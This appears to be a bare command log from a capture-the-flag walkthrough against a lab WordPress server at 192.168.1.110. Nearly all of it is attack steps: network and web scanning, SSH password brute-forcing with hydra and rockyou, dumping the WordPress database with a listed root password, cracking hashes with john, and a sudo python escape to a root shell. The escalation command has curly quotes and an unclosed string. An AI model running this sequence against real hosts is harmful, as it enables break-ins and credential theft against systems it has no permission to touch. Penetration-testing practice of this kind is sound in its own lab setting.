Target1 vagrant:tnargav

ip a

fping -a -g 192.168.1.0/24 > fping.txt

nmap -sS -A -p- -oN nmap.txt -iL fping.txt

dirb http://192.168.1.110  
  
wpscan --url http://192.168.1.110/wordpress --force -v  
  
hydra 192.168.1.110 -l “michael” -P /usr/share/wordlists/rockyou.txt ssh

ssh michael@192.168.1.110

cd /

find / -name \*flag\* 2>/dev/null

Cat /var/www/flag2.txt

Database root:R@v3nSecurity

mysqldump -u root -p wordpress > wordpress.sql

wget http://192.168.1.110/wordpress/wordpress.sql

cat wordpress.sql

echo password hashes to file hashes.txt

john --wordlist=rockyou.txt hashes.txt

steven:pink84

su steven  
  
sudo -l

sudo python -c ‘import os; os.execl(“/bin/bash”, “bash”, “-p)’

find / -name flag\* 2>/dev/null

grep ‘flag’ wordpress.sql

Flag 1 inspect source